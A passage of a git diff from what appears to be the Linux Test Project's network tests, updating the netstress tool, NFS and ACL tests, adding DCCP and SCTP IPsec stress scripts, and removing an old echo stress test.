-		if (send_msg[0] != start_byte) {
-			send_msg_size = parse_client_request(recv_msg);
-			if (send_msg_size < 0) {
-				tst_res(TFAIL, "wrong msg size '%d'",
-					send_msg_size);
-				goto out;
-			}
-			make_server_reply(send_msg, send_msg_size);
-		}
+		make_server_reply(send_msg, send_msg_len);
 
 		offset = 0;
 
@@ -521,11 +526,11 @@
 
 		switch (proto_type) {
 		case TYPE_SCTP:
-			SAFE_SEND(1, client_fd, send_msg, send_msg_size,
+			SAFE_SEND(1, client_fd, send_msg, send_msg_len,
 				MSG_NOSIGNAL);
 		break;
 		default:
-			SAFE_SENDTO(1, client_fd, send_msg, send_msg_size,
+			SAFE_SENDTO(1, client_fd, send_msg, send_msg_len,
 				MSG_NOSIGNAL, (struct sockaddr *)&remote_addr,
 				remote_addr_len);
 		}
@@ -556,6 +561,7 @@
 
 static void server_init(void)
 {
+	char *src_addr = NULL;
 	struct addrinfo hints;
 
 	memset(&hints, 0, sizeof(struct addrinfo));
@@ -563,18 +569,15 @@
 	hints.ai_socktype = sock_type;
 	hints.ai_flags = AI_PASSIVE;
 
-	int err = getaddrinfo(NULL, tcp_port, &hints, &local_addrinfo);
-
-	if (err)
-		tst_brk(TBROK, "getaddrinfo failed, %s", gai_strerror(err));
-
-	if (!local_addrinfo)
-		tst_brk(TBROK, "failed to get the address");
+	if (source_addr && !strchr(source_addr, ':'))
+		SAFE_ASPRINTF(&src_addr, "::ffff:%s", source_addr);
+	setup_addrinfo(src_addr ? src_addr : source_addr, tcp_port,
+		       &hints, &local_addrinfo);
+	free(src_addr);
 
 	/* IPv6 socket is also able to access IPv4 protocol stack */
 	sfd = SAFE_SOCKET(family, sock_type, protocol);
-	const int flag = 1;
-	SAFE_SETSOCKOPT(sfd, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
+	SAFE_SETSOCKOPT_INT(sfd, SOL_SOCKET, SO_REUSEADDR, 1);
 
 	tst_res(TINFO, "assigning a name to the server socket...");
 	SAFE_BIND(sfd, local_addrinfo->ai_addr, local_addrinfo->ai_addrlen);
@@ -586,9 +589,9 @@
 
 	init_socket_opts(sfd);
 
-	if (fastopen_api) {
-		SAFE_SETSOCKOPT(sfd, IPPROTO_TCP, TCP_FASTOPEN,
-			&tfo_queue_size, sizeof(tfo_queue_size));
+	if (fastopen_api || fastopen_sapi) {
+		SAFE_SETSOCKOPT_INT(sfd, IPPROTO_TCP, TCP_FASTOPEN,
+			tfo_queue_size);
 	}
 
 	SAFE_LISTEN(sfd, max_queue_len);
@@ -629,13 +632,6 @@
 		if (client_fd == -1)
 			tst_brk(TBROK, "Can't create client socket");
 
-		if (verbose) {
-			char addr_buf[INET6_ADDRSTRLEN];
-			tst_res(TINFO, "conn: port '%d', addr '%s'",
-				addr6.sin6_port, inet_ntop(AF_INET6,
-				&addr6.sin6_addr, addr_buf, INET6_ADDRSTRLEN));
-		}
-
 		server_thread_add(client_fd);
 	}
 }
@@ -720,18 +716,28 @@
 		tst_brk(TBROK, "Invalid client max requests '%s'", rarg);
 	if (tst_parse_int(Rarg, &server_max_requests, 1, INT_MAX))
 		tst_brk(TBROK, "Invalid server max requests '%s'", Rarg);
-	if (tst_parse_int(narg, &client_msg_size, 3, max_msg_len))
+	if (tst_parse_int(narg, &init_cln_msg_len, min_msg_len, max_msg_len))
 		tst_brk(TBROK, "Invalid client msg size '%s'", narg);
-	if (tst_parse_int(Narg, &server_msg_size, 3, max_msg_len))
+	if (tst_parse_int(Narg, &init_srv_msg_len, min_msg_len, max_msg_len))
 		tst_brk(TBROK, "Invalid server msg size '%s'", Narg);
 	if (tst_parse_int(qarg, &tfo_queue_size, 1, INT_MAX))
 		tst_brk(TBROK, "Invalid TFO queue size '%s'", qarg);
-	if (tst_parse_long(Targ, &wait_timeout, 0L, LONG_MAX))
+	if (tst_parse_int(Targ, &wait_timeout, 0, INT_MAX))
 		tst_brk(TBROK, "Invalid wait timeout '%s'", Targ);
 	if (tst_parse_int(barg, &busy_poll, 0, INT_MAX))
 		tst_brk(TBROK, "Invalid busy poll timeout'%s'", barg);
 	if (tst_parse_int(targ, &tfo_value, 0, INT_MAX))
 		tst_brk(TBROK, "Invalid net.ipv4.tcp_fastopen '%s'", targ);
+	if (tst_parse_int(Aarg, &max_rand_msg_len, 10, max_msg_len))
+		tst_brk(TBROK, "Invalid max random payload size '%s'", Aarg);
+
+	if (max_rand_msg_len) {
+		max_rand_msg_len -= min_msg_len;
+		unsigned int seed = max_rand_msg_len ^ client_max_requests;
+
+		srand(seed);
+		tst_res(TINFO, "srand() seed 0x%x", seed);
+	}
 
 	/* if client_num is not set, use num of processors */
 	if (!clients_num)
@@ -750,12 +756,21 @@
 			server_addr, tcp_port);
 		tst_res(TINFO, "client max req: %d", client_max_requests);
 		tst_res(TINFO, "clients num: %d", clients_num);
-		tst_res(TINFO, "client msg size: %d", client_msg_size);
-		tst_res(TINFO, "server msg size: %d", server_msg_size);
+		if (max_rand_msg_len) {
+			tst_res(TINFO, "random msg size [%d %d]",
+				min_msg_len, max_rand_msg_len);
+		} else {
+			tst_res(TINFO, "client msg size: %d", init_cln_msg_len);
+			tst_res(TINFO, "server msg size: %d", init_srv_msg_len);
+		}
 		net.init	= client_init;
 		net.run		= client_run;
 		net.cleanup	= client_cleanup;
 
+		if (proto_type == TYPE_DCCP || proto_type == TYPE_UDP) {
+			tst_res(TINFO, "max timeout errors %d", max_etime_cnt);
+			wait_timeout = 100;
+		}
 		check_tw_reuse();
 	} else {
 		tst_res(TINFO, "max requests '%d'",
@@ -786,19 +801,19 @@
 	break;
 	case TYPE_UDP:
 		tst_res(TINFO, "using UDP");
-		fastopen_api = NULL;
+		fastopen_api = fastopen_sapi = NULL;
 		sock_type = SOCK_DGRAM;
 	break;
 	case TYPE_DCCP:
 		tst_res(TINFO, "DCCP %s", (client_mode) ? "client" : "server");
-		fastopen_api = NULL;
+		fastopen_api = fastopen_sapi = NULL;
 		sock_type = SOCK_DCCP;
 		protocol = IPPROTO_DCCP;
 		service_code = htonl(service_code);
 	break;
 	case TYPE_SCTP:
 		tst_res(TINFO, "SCTP %s", (client_mode) ? "client" : "server");
-		fastopen_api = NULL;
+		fastopen_api = fastopen_sapi = NULL;
 		protocol = IPPROTO_SCTP;
 	break;
 	}
@@ -812,10 +827,12 @@
 }
 
 static struct tst_option options[] = {
-	{"v", &verbose, "-v       Verbose"},
 	{"f", &fastopen_api, "-f       Use TFO API, default is old API"},
+	{"F", &fastopen_sapi,
+		"-F       TCP_FASTOPEN_CONNECT socket option and standard API"},
 	{"t:", &targ, "-t x     Set tcp_fastopen value"},
 
+	{"S:", &source_addr, "-S x     Source address to bind"},
 	{"g:", &tcp_port, "-g x     x - server port"},
 	{"b:", &barg, "-b x     x - low latency busy poll timeout"},
 	{"T:", &type, "-T x     tcp (default), udp, dccp, sctp\n"},
@@ -827,7 +844,8 @@
 	{"n:", &narg, "-n x     Client message size"},
 	{"N:", &Narg, "-N x     Server message size"},
 	{"m:", &Targ, "-m x     Reply timeout in microsec."},
-	{"d:", &rpath, "-d x     x is a path to file where result is saved\n"},
+	{"d:", &rpath, "-d x     x is a path to file where result is saved"},
+	{"A:", &Aarg, "-A x     x max payload length (generated randomly)\n"},
 
 	{"R:", &Rarg, "Server:\n-R x     x requests after which conn.closed"},
 	{"q:", &qarg, "-q x     x - TFO queue"},
diff --git a/testcases/network/nfs/nfs_stress/nfs03 b/testcases/network/nfs/nfs_stress/nfs03
index 03ad056..e0d0d6e 100755
--- a/testcases/network/nfs/nfs_stress/nfs03
+++ b/testcases/network/nfs/nfs_stress/nfs03
@@ -42,11 +42,10 @@
 
 touch_files()
 {
-	tst_resm TINFO "create files [0 - $DIR_NUM]/file$DIR_NUM[0 - $FILE_NUM]"
 	for j in $(seq 0 $DIR_NUM); do
 		cd dir$j
 		for k in $(seq 0 $FILE_NUM); do
-			ROD \>file$j$k
+			ROD touch file$j$k
 		done
 		cd ..
 	done
@@ -54,7 +53,6 @@
 
 rm_files()
 {
-	tst_resm TINFO "rm files [0 - $DIR_NUM]/file$DIR_NUM[0 - $FILE_NUM]"
 	for j in $(seq 0 $DIR_NUM); do
 		cd dir$j
 		for k in $(seq 0 $FILE_NUM); do
@@ -70,7 +68,7 @@
 
 	tst_resm TINFO "creating dir1 subdirectories & files"
 	ROD mkdir -p dir1
-	ROD cd dir1
+	cd dir1
 	make_subdirs
 	touch_files &
 	pid1=$!
@@ -78,18 +76,18 @@
 
 	tst_resm TINFO "creating dir2 subdirectories & files"
 	ROD mkdir -p dir2
-	ROD cd dir2
+	cd dir2
 	make_subdirs
 	touch_files &
 	pid2=$!
 
 	tst_resm TINFO "cd dir1 & removing files"
-	ROD cd ../dir1
+	cd ../dir1
 	wait $pid1
 	rm_files &
 
 	tst_resm TINFO "cd dir2 & removing files"
-	ROD cd ../dir2
+	cd ../dir2
 	wait $pid2
 	rm_files &
 
@@ -104,7 +102,7 @@
 	nfs_setup
 
 	tst_resm TINFO "Setting server side nfsd count to $THREAD_NUM"
-	ORIG_NFSD=$(tst_rhost_run -s -c 'ps -ef | grep nfsd | grep -v grep | wc -l')
+	ORIG_NFSD=$(tst_rhost_run -s -c 'ps -ef | grep -w nfsd | grep -v grep | wc -l')
 	tst_rhost_run -s -c "rpc.nfsd $THREAD_NUM"
 }
 
diff --git a/testcases/network/nfsv4/acl/acl1.c b/testcases/network/nfsv4/acl/acl1.c
index b8b67b4..bdf0180 100644
--- a/testcases/network/nfsv4/acl/acl1.c
+++ b/testcases/network/nfsv4/acl/acl1.c
@@ -4,33 +4,22 @@
  *	Purpose: setting an acl on a file a verifies that the accesses are right
  */
 
-#if defined (DOS) || defined (WIN32)
-/* If Dos, Windows or Win32 */
-#define DOSorWIN32
-#endif
-
-#ifndef DOSorWIN32
 #include <sys/param.h>
-#endif
 
 #include <stdlib.h>
 #include <sys/types.h>
-#ifdef DOSorWIN32
-#include <time.h>
-#else
 #include <sys/time.h>
-#endif
 #include <sys/stat.h>
 #include <stdio.h>
 #include <string.h>
-//#include "../tests.h"
 #include <dirent.h>
 #include <unistd.h>
 #include <errno.h>
 
-#include <config.h>
+#include "config.h"
+#include "tst_res_flags.h"
 
-#ifdef HAVE_SYS_ACL_H
+#ifdef HAVE_LIBACL
 
 #include <sys/acl.h>
 
@@ -376,13 +365,10 @@
 	showstats();
 	return 1;
 }
-
 #else
-
 int main(void)
 {
 	printf("The acl library was missing upon compilation.\n");
-	return 0;
+	return TCONF;
 }
-
-#endif /* HAVE_SYS_ACL_H */
+#endif /* HAVE_LIBACL */
diff --git a/testcases/network/sctp/sctp01.sh b/testcases/network/sctp/sctp01.sh
index 1d9bcb8..d5c5f6d 100755
--- a/testcases/network/sctp/sctp01.sh
+++ b/testcases/network/sctp/sctp01.sh
@@ -17,8 +17,9 @@
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
 TCID=sctp01
-TST_TOTAL=3
+TST_TOTAL=4
 TST_CLEANUP="cleanup"
+TST_NEEDS_TMPDIR=1
 
 . test_net.sh
 
@@ -30,17 +31,19 @@
 setup()
 {
 	tst_require_root
-	tst_tmpdir
+	TST_NETLOAD_MAX_SRV_REPLIES=3
 }
 
 test_run()
 {
+	local opts="$@"
+
 	tst_resm TINFO "compare TCP/SCTP performance"
 
-	tst_netload -H $(tst_ipaddr rhost) -a 3 -R 3 -T tcp
+	tst_netload -H $(tst_ipaddr rhost) -T tcp $opts
 	local res0="$(cat tst_netload.res)"
 
-	tst_netload -H $(tst_ipaddr rhost) -a 3 -R 3 -T sctp
+	tst_netload -S $(tst_ipaddr) -H $(tst_ipaddr rhost) -T sctp $opts
 	local res1="$(cat tst_netload.res)"
 
 	local per=$(( $res0 * 100 / $res1 - 100 ))
@@ -54,5 +57,6 @@
 
 setup
 test_run
+test_run -A 65000
 
 tst_exit
diff --git a/testcases/network/stress/dccp/Makefile b/testcases/network/stress/dccp/Makefile
new file mode 100644
index 0000000..00ca0a2
--- /dev/null
+++ b/testcases/network/stress/dccp/Makefile
@@ -0,0 +1,23 @@
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= dccp_ipsec.sh \
+			   dccp_ipsec_vti.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/dccp/dccp_ipsec.sh b/testcases/network/stress/dccp/dccp_ipsec.sh
new file mode 100755
index 0000000..6c39fa3
--- /dev/null
+++ b/testcases/network/stress/dccp/dccp_ipsec.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=dccp_ipsec
+TST_TOTAL=3
+TST_NEEDS_TMPDIR=1
+TST_CLEANUP="tst_ipsec_cleanup"
+
+. ipsec_lib.sh
+
+do_setup()
+{
+	# Configure SAD/SPD
+	if [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ]; then
+		tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
+		tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
+	fi
+}
+
+do_test()
+{
+	for p in $IPSEC_SIZE_ARRAY; do
+		tst_netload -H $(tst_ipaddr rhost) -T dccp -n $p -N $p \
+			-r $IPSEC_REQUESTS
+	done
+}
+
+do_setup
+
+do_test
+
+tst_exit
diff --git a/testcases/network/stress/dccp/dccp_ipsec_vti.sh b/testcases/network/stress/dccp/dccp_ipsec_vti.sh
new file mode 100755
index 0000000..878f88c
--- /dev/null
+++ b/testcases/network/stress/dccp/dccp_ipsec_vti.sh
@@ -0,0 +1,38 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=dccp_ipsec_vti
+TST_TOTAL=3
+TST_NEEDS_TMPDIR=1
+TST_CLEANUP="tst_ipsec_cleanup"
+
+. ipsec_lib.sh
+
+do_test()
+{
+	for p in $IPSEC_SIZE_ARRAY; do
+		tst_netload -H $ip_rmt_tun -T dccp -n $p -N $p \
+			-r $IPSEC_REQUESTS
+	done
+}
+
+tst_ipsec_setup_vti
+
+do_test
+
+tst_exit
diff --git a/testcases/network/stress/ipsec/ipsec_lib.sh b/testcases/network/stress/ipsec/ipsec_lib.sh
index e05edee..cee755f 100644
--- a/testcases/network/stress/ipsec/ipsec_lib.sh
+++ b/testcases/network/stress/ipsec/ipsec_lib.sh
@@ -40,7 +40,7 @@
 		echo "h        help"
 		echo "l n      n is the number of test link when tests run"
 		echo "m x      x is ipsec mode, could be transport / tunnel"
-		echo "p x      x is ipsec protocol, could be ah / esp / ipcomp"
+		echo "p x      x is ipsec protocol, could be ah / esp / comp"
 		echo "s x      x is icmp messge size array"
 		echo "S n      n is IPsec SPI value"
 		echo "k x      key for vti interface"
@@ -119,6 +119,8 @@
 		ip li del $cleanup_vti 2>/dev/null
 		tst_rhost_run -c "ip li del $cleanup_vti 2>/dev/null"
 	fi
+
+	[ "$TST_NEEDS_TMPDIR" = 1 ] && tst_rmdir
 }
 
 ipsec_set_algoline()
@@ -166,6 +168,9 @@
 		echo "$output" | grep -q \
 			'RTNETLINK answers: Function not implemented' && \
 			tst_brkm TCONF "'$@': not implemented"
+		echo "$output" | grep -q \
+			'RTNETLINK answers: Operation not supported' && \
+			tst_brkm TCONF "'$@': not supported (maybe missing 'ip${TST_IPV6}_vti' kernel module)"
 		tst_brkm TBROK "$@ failed: $output"
 	fi
 }
@@ -240,6 +245,8 @@
 	local key="key $VTI_KEY"
 	local mrk="mark $VTI_KEY"
 	local type="type vti$TST_IPV6"
+	local d="dev $(tst_iface)"
+	local rd="dev $(tst_iface rhost)"
 
 	ip li add type vti help 2>&1 | grep -q vti || \
 		tst_brkm TCONF "iproute doesn't support 'vti'"
@@ -253,7 +260,7 @@
 	cleanup_vti=$vti
 
 	if [ $target = lhost ]; then
-		ROD ip li add $vti $type local $src remote $dst $key
+		ipsec_try ip li add $vti $type local $src remote $dst $key $d
 		ROD ip li set $vti up
 
 		local spi_1="spi 0x$SPI"
@@ -264,7 +271,7 @@
 		ROD $ipx po add dir in tmpl $i_dir $p $m $mrk
 	elif [ $target = rhost ]; then
 		tst_rhost_run -s -c \
-			"ip li add $vti $type local $src remote $dst $key"
+			"ip li add $vti $type local $src remote $dst $key $rd"
 		tst_rhost_run -s -c "ip li set $vti up"
 
 		local spi_1="spi 0x$(( $SPI + 1 ))"
diff --git a/testcases/network/stress/sctp/Makefile b/testcases/network/stress/sctp/Makefile
new file mode 100644
index 0000000..2be2b43
--- /dev/null
+++ b/testcases/network/stress/sctp/Makefile
@@ -0,0 +1,23 @@
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= sctp_ipsec.sh \
+			   sctp_ipsec_vti.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/sctp/sctp_ipsec.sh b/testcases/network/stress/sctp/sctp_ipsec.sh
new file mode 100755
index 0000000..677ccbf
--- /dev/null
+++ b/testcases/network/stress/sctp/sctp_ipsec.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=sctp_ipsec
+TST_TOTAL=3
+TST_NEEDS_TMPDIR=1
+TST_CLEANUP="tst_ipsec_cleanup"
+
+. ipsec_lib.sh
+
+do_setup()
+{
+	# Configure SAD/SPD
+	if [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ]; then
+		tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
+		tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
+	fi
+}
+
+do_test()
+{
+	for p in $IPSEC_SIZE_ARRAY; do
+		tst_netload -H $(tst_ipaddr rhost) -T sctp -n $p -N $p \
+			-r $IPSEC_REQUESTS -S $(tst_ipaddr)
+	done
+}
+
+do_setup
+
+do_test
+
+tst_exit
diff --git a/testcases/network/stress/sctp/sctp_ipsec_vti.sh b/testcases/network/stress/sctp/sctp_ipsec_vti.sh
new file mode 100755
index 0000000..3fa3a73
--- /dev/null
+++ b/testcases/network/stress/sctp/sctp_ipsec_vti.sh
@@ -0,0 +1,38 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=sctp_ipsec_vti
+TST_TOTAL=3
+TST_NEEDS_TMPDIR=1
+TST_CLEANUP="tst_ipsec_cleanup"
+
+. ipsec_lib.sh
+
+do_test()
+{
+	for p in $IPSEC_SIZE_ARRAY; do
+		tst_netload -H $ip_rmt_tun -T sctp -n $p -N $p \
+			-r $IPSEC_REQUESTS -S $ip_loc_tun
+	done
+}
+
+tst_ipsec_setup_vti
+
+do_test
+
+tst_exit
diff --git a/testcases/network/stress/tcp/tcp_ipsec.sh b/testcases/network/stress/tcp/tcp_ipsec.sh
index e75f672..aeb33d6 100755
--- a/testcases/network/stress/tcp/tcp_ipsec.sh
+++ b/testcases/network/stress/tcp/tcp_ipsec.sh
@@ -18,6 +18,7 @@
 
 TCID=tcp_ipsec
 TST_TOTAL=3
+TST_NEEDS_TMPDIR=1
 TST_CLEANUP="tst_ipsec_cleanup"
 
 max_requests=10
diff --git a/testcases/network/stress/tcp/tcp_ipsec_vti.sh b/testcases/network/stress/tcp/tcp_ipsec_vti.sh
index 4ed520b..a793ef6 100755
--- a/testcases/network/stress/tcp/tcp_ipsec_vti.sh
+++ b/testcases/network/stress/tcp/tcp_ipsec_vti.sh
@@ -18,6 +18,7 @@
 
 TCID=tcp_ipsec_vti
 TST_TOTAL=3
+TST_NEEDS_TMPDIR=1
 TST_CLEANUP="tst_ipsec_cleanup"
 
 max_requests=10
diff --git a/testcases/network/stress/udp/udp_ipsec.sh b/testcases/network/stress/udp/udp_ipsec.sh
index 2debaef..ef9c31e 100755
--- a/testcases/network/stress/udp/udp_ipsec.sh
+++ b/testcases/network/stress/udp/udp_ipsec.sh
@@ -18,6 +18,7 @@
 
 TCID=udp_ipsec
 TST_TOTAL=3
+TST_NEEDS_TMPDIR=1
 TST_CLEANUP="tst_ipsec_cleanup"
 
 . ipsec_lib.sh
diff --git a/testcases/network/stress/udp/udp_ipsec_vti.sh b/testcases/network/stress/udp/udp_ipsec_vti.sh
index 39bf94f..c6d76c1 100755
--- a/testcases/network/stress/udp/udp_ipsec_vti.sh
+++ b/testcases/network/stress/udp/udp_ipsec_vti.sh
@@ -18,6 +18,7 @@
 
 TCID=udp_ipsec_vti
 TST_TOTAL=3
+TST_NEEDS_TMPDIR=1
 TST_CLEANUP="tst_ipsec_cleanup"
 
 . ipsec_lib.sh
diff --git a/testcases/network/tcp_cmds/echo/Makefile b/testcases/network/tcp_cmds/echo/Makefile
deleted file mode 100644
index f26c248..0000000
--- a/testcases/network/tcp_cmds/echo/Makefile
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-#    network/tcp_cmds/echo testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-CPPFLAGS		+= -DDEBUG -I$(abs_srcdir)/../include
-
-INSTALL_TARGETS		:= echo01
-
-MAKE_TARGETS		:= echoes echoes6 createfile
-
-%6: CPPFLAGS += -DINET6
-
-%6.o: %.c
-	$(COMPILE.c) $(OUTPUT_OPTION) $<
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/echo/createfile.c b/testcases/network/tcp_cmds/echo/createfile.c
deleted file mode 100644
index 485bedf..0000000
--- a/testcases/network/tcp_cmds/echo/createfile.c
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
-@! # TESTCASE DESCRIPTION:
-@! # 	Purpose: to create an input file of any size
-@! # 	Command: none
-@! # 	Subcommand: none
-@! # 	Design: Write an array the size of BUFSIZ to created file until
-@! # 		the file size matches the file size required
-@! # SPEC. EXEC. REQS:  This  program is used by ctatcdt3.c and ctatcet3.c
-*/
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int main(int argc, char *argv[])
-{
-
-	int fd;
-	int fsize;
-	int count = 0;
-	int n, remain;
-	static char buf[BUFSIZ];
-
-	for (fsize = 0; fsize < BUFSIZ; fsize++) {
-		if ((fsize % 2) == 0)
-			buf[fsize++] = 'U';
-		else
-			buf[fsize++] = '\n';
-	}
-
-	fsize = strtol(argv[1], NULL, 10);
-
-	if ((fd = creat(argv[2], 0644)) == -1)
-		perror("createfile");
-	if (fsize >= BUFSIZ) {
-		count = fsize / BUFSIZ;
-		remain = fsize % BUFSIZ;
-	} else
-		remain = fsize;
-	while (count-- != 0) {
-		if ((n = write(fd, buf, BUFSIZ)) != BUFSIZ)
-			perror("createfile");
-	}
-	if ((n = write(fd, buf, remain)) != remain)
-		perror("createfile");
-	close(fd);
-
-	return 0;
-}
diff --git a/testcases/network/tcp_cmds/echo/echo01 b/testcases/network/tcp_cmds/echo/echo01
deleted file mode 100755
index c111023..0000000
--- a/testcases/network/tcp_cmds/echo/echo01
+++ /dev/null
@@ -1,127 +0,0 @@
-#!/bin/sh
-unset LIBPATH
-#
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : echo
-#
-#  PURPOSE: Stresses the inetd/xinetd daemon using the `echo` service.
-#
-#  SETUP: The echo service MUST be active on the RHOST machine. This is
-#         controlled by the inetd/xinetd daemon.
-#
-#  HISTORY:
-#    03/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Ported
-#
-#
-#***********************************************************************
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  do_setup
-#
-#-----------------------------------------------------------------------
-
-do_setup()
-{
-
-    NUMLOOPS=${NUMLOOPS:-2}
-    TST_TOTAL=$NUMLOOPS
-
-    export TST_COUNT TST_TOTAL
-
-    exists hostname sum
-    tst_setup
-
-    TC=sine
-    RHOST=${RHOST:-`hostname`}
-    CLEANUP=${CLEANUP:-ON}
-    CREATEFILE=createfile
-    ECHOES=echoes${EXEC_SUFFIX}
-
-    ECHOFILE=${ECHOFILE:-echofile${EXEC_SUFFIX}}
-    ECHOSIZE=${ECHOSIZE:-8192}
-    NUMPROCESSES=${NUMPROCESSES:-10}
-
-}
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  do_test
-# PURPOSE:   Loop until interrupted creating the echo file and then
-#	     echoing it to RHOST.
-# INPUT:     None.
-# OUTPUT:    Informational messages are logged into the run log.
-#
-#-----------------------------------------------------------------------
-
-do_test()
-{
-    echo  "Creating echo file $ECHOFILE"
-    if ! "$LTPROOT/testcases/bin/$CREATEFILE" $ECHOSIZE "$TCtmp/$ECHOFILE"; then
-        end_testcase "$ECHOFILE not created"
-    fi
-
-    echo "Compute the checksum of this file"
-    csum1=$(sum $TCtmp/$ECHOFILE | awk '{print $1}')
-    [ $csum1 ] || end_testcase "initial checksum computation failed"
-
-    while [ $TST_COUNT -le $NUMLOOPS ]; do
-
-        if ! $ECHOES $RHOST "$TCtmp/$ECHOFILE" $NUMPROCESSES; then
-            end_testcase "Error in $ECHOES test in loop $TST_COUNT"
-        fi
-
-        NUM=0
-        while [ $NUM -lt $NUMPROCESSES ]
